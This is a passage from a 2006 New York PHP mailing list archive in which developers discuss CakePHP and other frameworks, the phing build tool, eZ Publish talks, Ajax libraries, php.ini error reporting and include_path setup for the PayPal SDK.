> I also might allow the users to upload an image as pdf or some others
> formats like tif or may be bmp I don't know yet, but I think that I
> could validate those types of files with a system call to `file -i`,  I
> would give me the type of file also, I'm not sure if it's safe but I'm
> gonna try and see what happens, thanks for your answer, I appreciate it
> so much!
>
> Daniela

Using `file -i` should be perfectly safe, as you won't be including
any user-submitted info in the command. An excellent solution, though
you may find that it's not always accurate against new or unusual
formats.

If you run into problems, you might also try the FileInfo extension
(http://php.net/fileinfo), which seems to use a different database.


From dmintz at davidmintz.org  Fri Jul 28 15:28:17 2006
From: dmintz at davidmintz.org (David Mintz)
Date: Fri, 28 Jul 2006 15:28:17 -0400 (EDT)
Subject: [nycphp-talk] CakePHP: what do you think?
Message-ID: <Pine.BSF.4.58.0607281521240.93437@emra.pair.com>


I know it's come up briefly on the list in the past, but imho it's time
once again to ask if people are using cakePHP (http://cakephp.org/) and if
so, what do you think?

I think it's extremely promising, but I also think it has a bit of a
initial learning curve, at least for mere mortals, that seems to belie the
name.

Somebody oughta give an NYPHP presentation about it (said he, as he ducked
under the desk).

---
David Mintz
http://davidmintz.org/

Amendment IV

The right of the people to be secure in their
persons, houses, papers, and effects, against
unreasonable searches and seizures, shall not be
violated, and no Warrants shall issue, but upon
probable cause, supported by Oath or affirmation,
and particularly describing the place to be
searched, and the persons or things to be seized.


From jbaer at VillageVoice.com  Fri Jul 28 16:14:52 2006
From: jbaer at VillageVoice.com (Baer, Jon)
Date: Fri, 28 Jul 2006 16:14:52 -0400
Subject: [nycphp-talk] CakePHP: what do you think?
References: <Pine.BSF.4.58.0607281521240.93437@emra.pair.com>
Message-ID: <4D2FAD9B00577645932AD7ED5FECA245029395C9@mail>

Using it alot .. im using it after spending a good 6 months w/ Ruby on Rails though so my opinion might be one sided, overall it gives a good feeling of knowing that when something break you know *exactly* where to look .. which probably leads to this "agile" thing :-)

The best thing to probably look @ if you decide to pick it up is the Cajax helper by rossoft (he writes alot of nice Cake plugins - http://rossoft.wordpress.com) which is like RJS in Rails and lets you do that nice Ajaxy stuff w/ Prototype/Scriptaculous libraries.  

What probably amazes me the most about it is how they seemlessly made it work w/ PHP4 and still use much of the OO hooks. 

I like both RoR and Cake but when it comes to deployment PHP wins out in the support area, I still dont think they have figured out the best solution in Rails and the fact that the Bake command does alot more work make it nicer to work with.

Id be more interested in hearing what Mitch or the Joomla folks think about them (I missed the meeting) but definatley would have been a question I would have asked ... picking frameworks vs. rolling your own ...

- Jon

-----Original Message-----
From: talk-bounces at lists.nyphp.org on behalf of David Mintz
Sent: Fri 7/28/2006 3:28 PM
To: talk at lists.nyphp.org
Subject: [nycphp-talk] CakePHP: what do you think?
 

I know it's come up briefly on the list in the past, but imho it's time
once again to ask if people are using cakePHP (http://cakephp.org/) and if
so, what do you think?

I think it's extremely promising, but I also think it has a bit of a
initial learning curve, at least for mere mortals, that seems to belie the
name.

Somebody oughta give an NYPHP presentation about it (said he, as he ducked
under the desk).

---
David Mintz
http://davidmintz.org/

Amendment IV

The right of the people to be secure in their
persons, houses, papers, and effects, against
unreasonable searches and seizures, shall not be
violated, and no Warrants shall issue, but upon
probable cause, supported by Oath or affirmation,
and particularly describing the place to be
searched, and the persons or things to be seized.
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From mwithington at PLMresearch.com  Fri Jul 28 16:33:01 2006
From: mwithington at PLMresearch.com (Mark Withington)
Date: Fri, 28 Jul 2006 16:33:01 -0400
Subject: [nycphp-talk] CakePHP: what do you think?
Message-ID: <1F3CD8DDFB6A9B4C9B8DD06E4A7DE35801639A89@network.PLMresearch.com>

If anyone if planning to be in Boston the evening of Thursday, October 5th
06 (yah, I know it's a long shot) we're going to do a PHP framework bake off
with Cake (and one of the core devs), Zend, Horde, etc.

More info here:
http://www.bostonphp.org/component/option,com_gigcal/task,details/gigcal_gig
s_id,20/

Everyone is welcome.

Cheers,

Mark

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Benevolent Dictator and acting President
BostonPHP.org
"supporting the PHP/OSS community"
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Plymouth, MA  02362
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> -----Original Message-----
> From: Baer, Jon [mailto:talk-bounces at lists.nyphp.org] On 
> Behalf Of Baer, Jon
> Sent: Friday, July 28, 2006 4:15 PM
> To: NYPHP Talk
> Subject: RE: [nycphp-talk] CakePHP: what do you think?
> 
> 
> Using it alot .. im using it after spending a good 6 months 
> w/ Ruby on Rails though so my opinion might be one sided, 
> overall it gives a good feeling of knowing that when 
> something break you know *exactly* where to look .. which 
> probably leads to this "agile" thing :-)
> 
> The best thing to probably look @ if you decide to pick it up 
> is the Cajax helper by rossoft (he writes alot of nice Cake 
> plugins - http://rossoft.wordpress.com) which is like RJS in 
> Rails and lets you do that nice Ajaxy stuff w/ 
> Prototype/Scriptaculous libraries.  
> 
> What probably amazes me the most about it is how they 
> seemlessly made it work w/ PHP4 and still use much of the OO hooks. 
> 
> I like both RoR and Cake but when it comes to deployment PHP 
> wins out in the support area, I still dont think they have 
> figured out the best solution in Rails and the fact that the 
> Bake command does alot more work make it nicer to work with.
> 
> Id be more interested in hearing what Mitch or the Joomla 
> folks think about them (I missed the meeting) but definatley 
> would have been a question I would have asked ... picking 
> frameworks vs. rolling your own ...
> 
> - Jon
> 
> -----Original Message-----
> From: talk-bounces at lists.nyphp.org on behalf of David Mintz
> Sent: Fri 7/28/2006 3:28 PM
> To: talk at lists.nyphp.org
> Subject: [nycphp-talk] CakePHP: what do you think?
>  
> 
> I know it's come up briefly on the list in the past, but imho 
> it's time once again to ask if people are using cakePHP 
> (http://cakephp.org/) and if so, what do you think?
> 
> I think 
> it's extremely promising, but I also think it has a bit of a 
> initial learning curve, at least for mere mortals, that seems 
> to belie the name.
> 
> Somebody oughta give an NYPHP presentation about it (said he, 
> as he ducked under the desk).
> 
> ---
> David Mintz
> http://davidmintz.org/
> 
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> 
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> unreasonable searches and seizures, shall not be
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From mitch.pirtle at gmail.com  Fri Jul 28 16:47:42 2006
From: mitch.pirtle at gmail.com (Mitch Pirtle)
Date: Fri, 28 Jul 2006 16:47:42 -0400
Subject: [nycphp-talk] CakePHP: what do you think?
In-Reply-To: <4D2FAD9B00577645932AD7ED5FECA245029395C9@mail>
References: <Pine.BSF.4.58.0607281521240.93437@emra.pair.com>
	<4D2FAD9B00577645932AD7ED5FECA245029395C9@mail>
Message-ID: <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com>

On 7/28/06, Baer, Jon <jbaer at villagevoice.com> wrote:
>
> Id be more interested in hearing what Mitch or the Joomla folks think about them (I missed the meeting) but definatley would have been a question I would have asked ... picking frameworks vs. rolling your own ...

At this point, you're crazy starting your own, there are already a
glut of them to choose from. That's the answer I would have given you
had you been there to ask ;-)

When I presented the 1.5 API to BostonPHP I met with one of the
CakePHP guys at the irish pub across the street. I'm asking him if
he's interested in making a talk here at NYPHP, and am quietly
hopeful.

<aside>Why is it, that every PHP user group has an irish pub nearby?</aside>

Speaking of build environments, I've recently fallen helplessly in
love with phing (http://phing.info/trac/) and wonder if me or someone
else would be able to make a presentation of that tool. Anyone else
out there interested in that topic?

-- Mitch


From mwithington at PLMresearch.com  Fri Jul 28 16:59:07 2006
From: mwithington at PLMresearch.com (Mark Withington)
Date: Fri, 28 Jul 2006 16:59:07 -0400
Subject: [nycphp-talk] CakePHP: what do you think?
Message-ID: <1F3CD8DDFB6A9B4C9B8DD06E4A7DE35801639A8A@network.PLMresearch.com>

"<aside>Why is it, that every PHP user group has an irish pub
nearby?</aside>"

Actually, in Boston everyone has an irish pub nearby ;-)

Mark

-------------------------------------------
Mark L. Withington
Benevolent Dictator and acting President
BostonPHP.org
"supporting the PHP/OSS community"
v: 508-746-2383/508-570-2285
m: 508-801-0181
http://www.BostonPHP.org 
AIM: BostonPHP

> -----Original Message-----
> From: talk-bounces at lists.nyphp.org 
> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Mitch Pirtle
> Sent: Friday, July 28, 2006 4:48 PM
> To: NYPHP Talk
> Subject: Re: [nycphp-talk] CakePHP: what do you think?
> 
> 
> On 7/28/06, Baer, Jon <jbaer at villagevoice.com> wrote:
> >
> > Id be more interested in hearing what Mitch or the Joomla 
> folks think 
> > about them (I missed the meeting) but definatley would have been a 
> > question I would have asked ... picking frameworks vs. rolling your 
> > own ...
> 
> At this point, you're crazy starting your own, there are 
> already a glut of them to choose from. That's the answer I 
> would have given you had you been there to ask ;-)
> 
> When I presented the 1.5 API to BostonPHP I met with one of 
> the CakePHP guys at the irish pub across the street. I'm 
> asking him if he's interested in making a talk here at NYPHP, 
> and am quietly hopeful.
> 
> <aside>Why is it, that every PHP user group has an irish pub 
> nearby?</aside>
> 
> Speaking of build environments, I've recently fallen 
> helplessly in love with phing (http://phing.info/trac/) and 
> wonder if me or someone else would be able to make a 
> presentation of that tool. Anyone else out there interested 
> in that topic?
> 
> -- Mitch
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> 
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> 


From kenneth at ylayali.net  Fri Jul 28 17:05:01 2006
From: kenneth at ylayali.net (Kenneth Dombrowski)
Date: Fri, 28 Jul 2006 17:05:01 -0400
Subject: [nycphp-talk] CakePHP: what do you think?
In-Reply-To: <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com>
References: <Pine.BSF.4.58.0607281521240.93437@emra.pair.com>
	<4D2FAD9B00577645932AD7ED5FECA245029395C9@mail>
	<330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com>
Message-ID: <20060728210500.GD31125@ylayali.net>

On 06-07-28 16:47 -0400, Mitch Pirtle wrote:
> 
> Speaking of build environments, I've recently fallen helplessly in
> love with phing (http://phing.info/trac/) and wonder if me or someone
> else would be able to make a presentation of that tool. Anyone else
> out there interested in that topic?
> 

I'd love to see a presentation on phing.  I've just been getting started
with it this week 

Kenneth




From lists at zaunere.com  Fri Jul 28 17:11:00 2006
From: lists at zaunere.com (Hans Zaunere)
Date: Fri, 28 Jul 2006 17:11:00 -0400
Subject: [nycphp-talk] CMS Presentations  WAS: CakePHP: what do you think?
In-Reply-To: <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com>
Message-ID: <00d501c6b28a$53e97e80$640aa8c0@MobileZ>



Mitch Pirtle wrote on Friday, July 28, 2006 4:48 PM:
> On 7/28/06, Baer, Jon <jbaer at villagevoice.com> wrote:
> > 
> > Id be more interested in hearing what Mitch or the Joomla folks
> > think about them (I missed the meeting) but definatley would have
> > been a question I would have asked ... picking frameworks vs.
> > rolling your own ...   
> 
> At this point, you're crazy starting your own, there are already a
> glut of them to choose from. That's the answer I would have given you
> had you been there to ask ;-)
> 
> When I presented the 1.5 API to BostonPHP I met with one of the
> CakePHP guys at the irish pub across the street. I'm asking him if
> he's interested in making a talk here at NYPHP, and am quietly
> hopeful.
> 
> <aside>Why is it, that every PHP user group has an irish pub
> nearby?</aside> 

Sssh Mitch - don't get the conspiracy theories going more.

> Speaking of build environments, I've recently fallen helplessly in
> love with phing (http://phing.info/trac/) and wonder if me or someone
> else would be able to make a presentation of that tool. Anyone else
> out there interested in that topic?

We've had a lot of exposure to Joomla and family (by the way thanks Mitch
for an always great presentation) and we'd certainly like to have some other
CMSs present.  If anyone is in the tri-state area, or would be willing to
travel, let us know, or put us in touch with someone.

http://www.nyphp.org/presentations.php

Our fall schedule is mostly open but we have pending presentations so tell
us soon.

---
Hans Zaunere / President / New York PHP
   www.nyphp.org  /  www.nyphp.com




From andrew at plexpod.com  Fri Jul 28 19:30:16 2006
From: andrew at plexpod.com (Andrew Yochum)
Date: Fri, 28 Jul 2006 19:30:16 -0400
Subject: [nycphp-talk] eZ Publish follow up? Was: Re:  CMS Presentations
In-Reply-To: <00d501c6b28a$53e97e80$640aa8c0@MobileZ>
References: <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com>
	<00d501c6b28a$53e97e80$640aa8c0@MobileZ>
Message-ID: <20060728233015.GV23645@desario.homelinux.net>

On Fri, Jul 28, 2006 at 05:11:00PM -0400, Hans Zaunere wrote:
> We've had a lot of exposure to Joomla and family (by the way thanks Mitch
> for an always great presentation) and we'd certainly like to have some other
> CMSs present.  If anyone is in the tri-state area, or would be willing to
> travel, let us know, or put us in touch with someone.
> 
> http://www.nyphp.org/presentations.php
> 
> Our fall schedule is mostly open but we have pending presentations so tell
> us soon.

If anyone is interested, I could put together a follow up presentation
to last Fall's eZ Publish presentation.  In that area, there is two
directions I could take.

In the CMS theme:
    Getting started building websites eZ Publish 3.X
    - Installation & Configuration
    - Templating
    - Creating new Content Classes
    - Access Control

In the framework theme:
    Building web-apps using eZ Components in PHP 5
    - A brief overview of the set of components
    - Focus on some of the major ones:
      - DB
      - Logging
      - Templating
      - Configuration
 (Not necessarily set in stone of course! Just some thoughts.)

I think both would be tutorial-like.

FYI, the eZ Components topic isn't very applicable to current release
(3.8) of eZ Publish, but they will be the foundation for the eZ platform
Application Server to be released in December 2007. That in turn will be
the foundation for the next major versionof the eZ Publish CMS named
Telemark and to be released in December 2008.

Any interest in either one?  Thoughts on things you might like to see
covered?

Here are some urls to check out:
    eZ Publish
        http://ez.no/products/ez_publish
    eZ Components
        http://ez.no/products/ez_components
    eZ Platform announcement
        http://ez.no/company/news/ez_systems_announces_ez_platform_for_php_application_development
    The roadmap
        http://ez.no/community/developer/roadmap

Regards,
Andrew
-- 
Andrew Yochum
Plexpod
andrew at plexpod.com
718-360-0879


From jonbaer at jonbaer.com  Fri Jul 28 19:40:43 2006
From: jonbaer at jonbaer.com (Jon Baer)
Date: Fri, 28 Jul 2006 19:40:43 -0400
Subject: [nycphp-talk] CakePHP: what do you think?
In-Reply-To: <330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com>
References: <Pine.BSF.4.58.0607281521240.93437@emra.pair.com>
	<4D2FAD9B00577645932AD7ED5FECA245029395C9@mail>
	<330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com>
Message-ID: <108E048E-1547-4F13-8123-27879F3EE285@jonbaer.com>

> Speaking of build environments, I've recently fallen helplessly in
> love with phing (http://phing.info/trac/) and wonder if me or someone
> else would be able to make a presentation of that tool. Anyone else
> out there interested in that topic?

Im currently looking @ using it as a deployment tool much like  
Capistrano is for Rails ... I think it would be a great topic for a  
talk.  +1 from me.  On a side note if someone could figure how to get  
the bake command to call phing tasks that would be nice ... :-)

- Jon


From andrew at plexpod.com  Fri Jul 28 19:54:41 2006
From: andrew at plexpod.com (Andrew Yochum)
Date: Fri, 28 Jul 2006 19:54:41 -0400
Subject: [nycphp-talk] CakePHP: what do you think?
In-Reply-To: <108E048E-1547-4F13-8123-27879F3EE285@jonbaer.com>
References: <Pine.BSF.4.58.0607281521240.93437@emra.pair.com>
	<4D2FAD9B00577645932AD7ED5FECA245029395C9@mail>
	<330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com>
	<108E048E-1547-4F13-8123-27879F3EE285@jonbaer.com>
Message-ID: <20060728235441.GW23645@desario.homelinux.net>

On Fri, Jul 28, 2006 at 07:40:43PM -0400, Jon Baer wrote:
> > Speaking of build environments, I've recently fallen helplessly in
> > love with phing (http://phing.info/trac/) and wonder if me or someone
> > else would be able to make a presentation of that tool. Anyone else
> > out there interested in that topic?
> 
> Im currently looking @ using it as a deployment tool much like  
> Capistrano is for Rails ... I think it would be a great topic for a  
> talk.  +1 from me.  On a side note if someone could figure how to get  
> the bake command to call phing tasks that would be nice ... :-)

You should be able to easily do it the other way around - have phing
call bake.  Thats how phing is meant to work.

Andrew
-- 
Andrew Yochum
Plexpod
andrew at plexpod.com
718-360-0879


From suzerain at suzerain.com  Fri Jul 28 22:32:41 2006
From: suzerain at suzerain.com (Marc Antony Vose)
Date: Fri, 28 Jul 2006 22:32:41 -0400
Subject: [nycphp-talk] XML with PHP
In-Reply-To: <1153632765.44c309fd7db3d@webmail.mexny.com>
References: <1153632765.44c309fd7db3d@webmail.mexny.com>
Message-ID: <p0623090ac0f07823ad09@[192.168.1.100]>

At 10:32 PM -0700 7/22/06, Unspecified wrote:
>And the Next question is, could any tell me where can i learn about Ajax..

Two things I've used:

SACK
a very simple JS class for implementing AJAX.  I have it integrated 
into my framework, and have used it on a few occasions.  I like its 
simplicity.
http://twilightuniverse.com/projects/sack/

Yahoo UI tools
more JS classes, for doing a variety of things.  I think this has a 
lot of promise; I'm thinking about redoing my admin framework to be 
entirely AJAX-based, and was considering using these as a way to 
simplify that development.
http://developer.yahoo.com/yui/

For me, the best way to learn is to just create a little project 
where I can play without any repercussions. :)

Cheers,

-- 
Marc Antony Vose
http://www.suzerain.com/

Life is a sexually transmitted disease with a 100% mortality rate.
-- David Shaw


From urb at e-government.com  Sat Jul 29 11:52:35 2006
From: urb at e-government.com (Urb LeJeune)
Date: Sat, 29 Jul 2006 11:52:35 -0400
Subject: [nycphp-talk] php.ini in PHP 5.1.2
In-Reply-To: <20060728235441.GW23645@desario.homelinux.net>
References: <Pine.BSF.4.58.0607281521240.93437@emra.pair.com>
	<4D2FAD9B00577645932AD7ED5FECA245029395C9@mail>
	<330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com>
	<108E048E-1547-4F13-8123-27879F3EE285@jonbaer.com>
	<20060728235441.GW23645@desario.homelinux.net>
Message-ID: <7.0.1.0.0.20060729115024.034dc410@e-government.com>

I recently upgraded from php 4.x to 5.1.2. I have one lingering problem.
What are the error setting in the php.ini file to only display fatal errors.
I'm can get no errors or all errors, including warnings, but not just
fatal errors.

Any suggestions appreciated.

Urb




From dirn at dirnonline.com  Sat Jul 29 12:09:42 2006
From: dirn at dirnonline.com (Andy Dirnberger)
Date: Sat, 29 Jul 2006 12:09:42 -0400
Subject: [nycphp-talk] php.ini in PHP 5.1.2
In-Reply-To: <7.0.1.0.0.20060729115024.034dc410@e-government.com>
Message-ID: <000601c6b329$671d91e0$6301a8c0@dirnpc>

>From php.ini:

; error_reporting is a bit-field.  Or each number up to get desired error
; reporting level
; E_ALL             - All errors and warnings (doesn't include E_STRICT)
; E_ERROR           - fatal run-time errors
; E_WARNING         - run-time warnings (non-fatal errors)
; E_PARSE           - compile-time parse errors
; E_NOTICE          - run-time notices (these are warnings which often
result
;                     from a bug in your code, but it's possible that it was
;                     intentional (e.g., using an uninitialized variable and
;                     relying on the fact it's automatically initialized to
an
;                     empty string)
; E_STRICT          - run-time notices, enable to have PHP suggest changes
;                     to your code which will ensure the best
interoperability
;                     and forward compatibility of your code
; E_CORE_ERROR      - fatal errors that occur during PHP's initial startup
; E_CORE_WARNING    - warnings (non-fatal errors) that occur during PHP's
;                     initial startup
; E_COMPILE_ERROR   - fatal compile-time errors
; E_COMPILE_WARNING - compile-time warnings (non-fatal errors)
; E_USER_ERROR      - user-generated error message
; E_USER_WARNING    - user-generated warning message
; E_USER_NOTICE     - user-generated notice message

E_ERROR sounds like what you're looking for.

HTH, DiRN

-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On
Behalf Of Urb LeJeune
Sent: Saturday, July 29, 2006 11:53 AM
To: NYPHP Talk
Subject: [nycphp-talk] php.ini in PHP 5.1.2

I recently upgraded from php 4.x to 5.1.2. I have one lingering problem.
What are the error setting in the php.ini file to only display fatal errors.
I'm can get no errors or all errors, including warnings, but not just
fatal errors.

Any suggestions appreciated.

Urb


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From tgales at tgaconnect.com  Sat Jul 29 12:10:18 2006
From: tgales at tgaconnect.com (Tim Gales)
Date: Sat, 29 Jul 2006 12:10:18 -0400
Subject: [nycphp-talk] php.ini in PHP 5.1.2
In-Reply-To: <7.0.1.0.0.20060729115024.034dc410@e-government.com>
References: <Pine.BSF.4.58.0607281521240.93437@emra.pair.com>	<4D2FAD9B00577645932AD7ED5FECA245029395C9@mail>	<330532b60607281347o5caca80bg1eb0766087e40094@mail.gmail.com>	<108E048E-1547-4F13-8123-27879F3EE285@jonbaer.com>	<20060728235441.GW23645@desario.homelinux.net>
	<7.0.1.0.0.20060729115024.034dc410@e-government.com>
Message-ID: <44CB886A.5050803@tgaconnect.com>

Urb LeJeune wrote:
> I recently upgraded from php 4.x to 5.1.2. I have one lingering problem.
> What are the error setting in the php.ini file to only display fatal errors.
> I'm can get no errors or all errors, including warnings, but not just
> fatal errors.
Have you read:
http://www.php.net/manual/en/ref.errorfunc.php#ini.error-reporting

try setting
error_reporting = E_ERROR
in your php.ini file

-- 

T. Gales & Associates
'Helping People Connect with Technology'

http://www.tgaconnect.com


From r.mariotti at fdcx.net  Sat Jul 29 17:04:46 2006
From: r.mariotti at fdcx.net (Bob Mariotti)
Date: Sat, 29 Jul 2006 17:04:46 -0400
Subject: [nycphp-talk] include_path usage with PayPalPro SDK???
Message-ID: <44CBCD6E.7020803@fdcx.net>

Fellow PHP'ers;

I've been developing with PHP for several years now with reasonable 
success.  Recently I'm trying to integrate PayPal's supplied SDK into an 
eCommerce app and I am having trouble with finding their own included 
modules.

I've tried studying the logic and use of the php.ini directive 
"include_path" and the only definition that seems to work is if I define 
the FULL path of every directory individually which makes for a very 
long, long path string.

For reference I have my includes directory outside of the document 
root(s) in something similar to /srv/www/sites/inc and for everything 
else this seems to work just fine.   Now PayPal's supplied tree is a 
continuation in this same directory and it itself includes nested 
directories so their top level would be at /srv/www/sites/inc/PayPal and 
then on down.

Again, if I define each and every lower directory individually in the 
path, things appear to work.  Otherwise, it finds nothing of PayPal.  
Oh, and further information, PayPal uses multiple nested includes within 
its supplied modules (whew!).

For some strange reason I thought that the include_path would be 
recursive but I guess not.

Someone in this group must have worked with the PayPal module(s) before 
and must have come up against the same situation.

Therefore, could someone in the know PLEASE explain how they overcame 
this situation or can someone at least advise how to best handle the 
definitions to accommodate this?

Thanks all.

Bob


From jonbaer at jonbaer.com  Sun Jul 30 12:59:27 2006
From: jonbaer at jonbaer.com (Jon Baer)
Date: Sun, 30 Jul 2006 12:59:27 -0400
Subject: [nycphp-talk] include_path usage with PayPalPro SDK???
In-Reply-To: <44CBCD6E.7020803@fdcx.net>
References: <44CBCD6E.7020803@fdcx.net>
Message-ID: <9A74B96F-FB1B-478C-86C4-03287AC933B1@jonbaer.com>

Normally w/ needed packages like those which don't follow the PEAR  
method is that I split it up and make it into a PEAR-like package  
(without the meta) ... for example for Cake I have:

/usr/lib/php/Cake.php
/usr/lib/php/Cake/all/the/other/crap.php
...

Then anytime its need I have one include path and just require 
('Cake.php');

You would basically fill up that file w/ all your are going to need.   
I beleive its more portable to do it this way but Ive heard of alot  
of people being very anti-pear which I still don't understand.  Ive  
switch to using Cake's /vendor path and placing any PEAR packages I  
need in there and bootstrapping that path via set_include_path 
(get_include_path() . ':/my/new/path')

I wish the include_path did have @ least some namespacing ability to  
it though, then your probably would be solve in saying something like  
use('PayPal') which is what the Cake framework does.

- Jon

On Jul 29, 2006, at 5:04 PM, Bob Mariotti wrote:

> Fellow PHP'ers;
>
> I've been developing with PHP for several years now with reasonable
> success.  Recently I'm trying to integrate PayPal's supplied SDK  
> into an
> eCommerce app and I am having trouble with finding their own included
> modules.
>
> I've tried studying the logic and use of the php.ini directive
> "include_path" and the only definition that seems to work is if I  
> define
> the FULL path of every directory individually which makes for a very
> long, long path string.
>
> For reference I have my includes directory outside of the document
> root(s) in something similar to /srv/www/sites/inc and for everything
> else this seems to work just fine.   Now PayPal's supplied tree is a
> continuation in this same directory and it itself includes nested
> directories so their top level would be at /srv/www/sites/inc/ 
> PayPal and
> then on down.
>
> Again, if I define each and every lower directory individually in the
> path, things appear to work.  Otherwise, it finds nothing of PayPal.
> Oh, and further information, PayPal uses multiple nested includes  
> within
> its supplied modules (whew!).
>
> For some strange reason I thought that the include_path would be
> recursive but I guess not.
>
> Someone in this group must have worked with the PayPal module(s)  
> before
> and must have come up against the same situation.
>
> Therefore, could someone in the know PLEASE explain how they overcame
> this situation or can someone at least advise how to best handle the
> definitions to accommodate this?
>
> Thanks all.
>
> Bob
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From ken at secdat.com  Mon Jul 31 12:32:21 2006
From: ken at secdat.com (Kenneth Downs)
Date: Mon, 31 Jul 2006 12:32:21 -0400
Subject: [nycphp-talk] CakePHP bakeoff (Was: CakePHP: what do you think?)
In-Reply-To: <1F3CD8DDFB6A9B4C9B8DD06E4A7DE35801639A89@network.PLMresearch.com>
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Mark Withington wrote:

>If anyone if planning to be in Boston the evening of Thursday, October 5th
>06 (yah, I know it's a long shot) we're going to do a PHP framework bake off
>with Cake (and one of the core devs), Zend, Horde, etc.
>  
>
This might be fun.  I've got relatives in New Bedford and that's my 
birthday, so perhaps the wife and I can make a weekend of it.

But I have an ulterior motive.  I would like to sit in back and use my 
own framework to develop the same app that the "bake off" is cooking, 
then compare.  Hopefully I could pick up a few things from Cake and 
perhaps they'd pick up a few from me, no?

>More info here:
>http://www.bostonphp.org/component/option,com_gigcal/task,details/gigcal_gig
>s_id,20/
>
>Everyone is welcome.
>
>Cheers,
>
>Mark
>
>-------------------------------------------
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>BostonPHP.org
>"supporting the PHP/OSS community"
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>  
>
>>-----Original Message-----
>>From: Baer, Jon [mailto:talk-bounces at lists.nyphp.org] On 
>>Behalf Of Baer, Jon
>>Sent: Friday, July 28, 2006 4:15 PM
>>To: NYPHP Talk
>>Subject: RE: [nycphp-talk] CakePHP: what do you think?
>>
>>
>>Using it alot .. im using it after spending a good 6 months 
>>w/ Ruby on Rails though so my opinion might be one sided, 
>>overall it gives a good feeling of knowing that when 
>>something break you know *exactly* where to look .. which 
>>probably leads to this "agile" thing :-)
>>
>>The best thing to probably look @ if you decide to pick it up 
>>is the Cajax helper by rossoft (he writes alot of nice Cake 
>>plugins - http://rossoft.wordpress.com) which is like RJS in 
>>Rails and lets you do that nice Ajaxy stuff w/ 
>>Prototype/Scriptaculous libraries.  
>>
>>What probably amazes me the most about it is how they 
>>seemlessly made it work w/ PHP4 and still use much of the OO hooks. 
>>
>>I like both RoR and Cake but when it comes to deployment PHP 
>>wins out in the support area, I still dont think they have 
>>figured out the best solution in Rails and the fact that the 
>>Bake command does alot more work make it nicer to work with.
>>
>>Id be more interested in hearing what Mitch or the Joomla 
>>folks think about them (I missed the meeting) but definatley 
>>would have been a question I would have asked ... picking 
>>frameworks vs. rolling your own ...
>>
>>- Jon
>>
>>-----Original Message-----
>>From: talk-bounces at lists.nyphp.org on behalf of David Mintz
>>Sent: Fri 7/28/2006 3:28 PM
>>To: talk at lists.nyphp.org
>>Subject: [nycphp-talk] CakePHP: what do you think?
>> 
>>
>>I know it's come up briefly on the list in the past, but imho 
>>it's time once again to ask if people are using cakePHP 
>>(http://cakephp.org/) and if so, what do you think?
>>
>>I think 
>>it's extremely promising, but I also think it has a bit of a 
>>initial learning curve, at least for mere mortals, that seems 
>>to belie the name.
>>
>>Somebody oughta give an NYPHP presentation about it (said he, 
>>as he ducked under the desk).
>>
>>---
>>David Mintz
>>http://davidmintz.org/
>>
>>Amendment IV
>>
>>The right of the people to be secure in their
>>persons, houses, papers, and effects, against
>>unreasonable searches and seizures, shall not be
>>violated, and no Warrants shall issue, but upon
>>probable cause, supported by Oath or affirmation,
>>and particularly describing the place to be
>>searched, and the persons or things to be seized. 
>>_______________________________________________
>>New York PHP Community Talk Mailing List 
>>http://lists.nyphp.org/mailman/listinfo/talk
>>
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>>Presentations Online
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>>
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>>http://www.nyphp.org/show_participation.php
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From ken at secdat.com  Mon Jul 31 12:47:12 2006
From: ken at secdat.com (Kenneth Downs)
Date: Mon, 31 Jul 2006 12:47:12 -0400
Subject: [nycphp-talk] eZ Publish follow up? Was: Re:  CMS Presentations
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Andrew Yochum wrote:

>On Fri, Jul 28, 2006 at 05:11:00PM -0400, Hans Zaunere wrote:
>  
>
Sounds interesting to me.

>>We've had a lot of exposure to Joomla and family (by the way thanks Mitch
>>for an always great presentation) and we'd certainly like to have some other
>>CMSs present.  If anyone is in the tri-state area, or would be willing to
>>travel, let us know, or put us in touch with someone.
>>
>>http://www.nyphp.org/presentations.php
>>
>>Our fall schedule is mostly open but we have pending presentations so tell
>>us soon.
>>    
>>
>
>If anyone is interested, I could put together a follow up presentation
>to last Fall's eZ Publish presentation.  In that area, there is two
>directions I could take.
>
>In the CMS theme:
>    Getting started building websites eZ Publish 3.X
>    - Installation & Configuration
>    - Templating
>    - Creating new Content Classes
>    - Access Control
>
>In the framework theme:
>    Building web-apps using eZ Components in PHP 5
>    - A brief overview of the set of components
>    - Focus on some of the major ones:
>      - DB
>      - Logging
>      - Templating
>      - Configuration
> (Not necessarily set in stone of course! Just some thoughts.)
>
>I think both would be tutorial-like.
>
>FYI, the eZ Components topic isn't very applicable to current release
>(3.8) of eZ Publish, but they will be the foundation for the eZ platform
>Application Server to be released in December 2007. That in turn will be
>the foundation for the next major versionof the eZ Publish CMS named
>Telemark and to be released in December 2008.
>
>Any interest in either one?  Thoughts on things you might like to see
>covered?
>
>Here are some urls to check out:
>    eZ Publish
>        http://ez.no/products/ez_publish
>    eZ Components
>        http://ez.no/products/ez_components
>    eZ Platform announcement
>        http://ez.no/company/news/ez_systems_announces_ez_platform_for_php_application_development
>    The roadmap
>        http://ez.no/community/developer/roadmap
>
>Regards,
>Andrew
>  
>

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From ken at secdat.com  Mon Jul 31 12:49:49 2006
From: ken at secdat.com (Kenneth Downs)
Date: Mon, 31 Jul 2006 12:49:49 -0400
Subject: [nycphp-talk] Say, that Joomla was kind of cool
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Mitch (and everyone)

I was one of those guys that was seeing Joomla for the first time.  It 
was quite impressive.

Mitch, this may come as a surprise, but what most impressed my 
programmer and me were the templating possibilities.  We do 
line-of-business stuff and are not really in the market for CMS as 
commonly presented, but we thought it would be cool to be able to take 
commercially developed Joomla templates and refit them to be the public 
face of some of our sites. 

I am going to try this out and will let you know how it goes.
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From danielc at analysisandsolutions.com  Mon Jul 31 13:54:24 2006
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Mon, 31 Jul 2006 13:54:24 -0400
Subject: [nycphp-talk] CakePHP: what do you think?
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Hey Folks:

On Fri, Jul 28, 2006 at 04:47:42PM -0400, Mitch Pirtle wrote:
> 
